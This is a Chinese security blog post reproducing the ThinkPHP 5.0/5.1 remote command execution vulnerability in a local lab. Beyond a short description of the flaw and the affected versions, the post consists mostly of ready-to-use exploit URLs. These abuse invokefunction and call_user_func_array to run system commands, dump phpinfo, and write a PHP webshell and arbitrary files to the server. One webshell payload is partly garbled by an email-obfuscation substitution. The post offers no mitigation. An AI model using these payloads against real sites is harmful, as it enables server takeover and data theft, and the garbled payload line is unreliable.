ThinkPHP5.0版本 远程命令执行漏洞GetShell 

阿城's Blog - 关注网络安全 黑客技术爱好者-阿城's Blog是一个关注网络安全,热爱黑客技术,分享各种技术教程资讯 —关注交流|web安全|漏洞发布|网络攻防|信息安全|网站建设



ThinkPHP5.0版本 远程命令执行漏洞GetShell

2019-8-27 15:28 作者:阿城 | 渗透测试 |

漏洞概况

ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。


漏洞危害
攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。

影响版本
5.x < 5.1.31, <= 5.0.23

复现环境
thinkphp5.1   phpstudy集成环境(php5.6n+apache+mysql)

复现过程
1、如图所示首先搭建好环境

20181214104956886.png


2、利用system函数远程命令执行:

http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

20181212222816533.png


3、通过phpinfo函数写出phpinfo()的信息:

http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

20181212223313996.png

4、写入shell:

http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%[email protected]($_GET[%22code%22])?^%3E%3Eshell.php

2018121222405533.png


或者是:http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>


文章作者:阿城
文章地址:http://www.ac166.cn/post-227.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

 

仅供学习与交流,遵循法律法规 & 如有侵犯您的版权请联系我删除 & 手机版

CopyRight © 2016 阿城's Blog - 关注网络安全 黑客技术爱好者.  All rights reserved.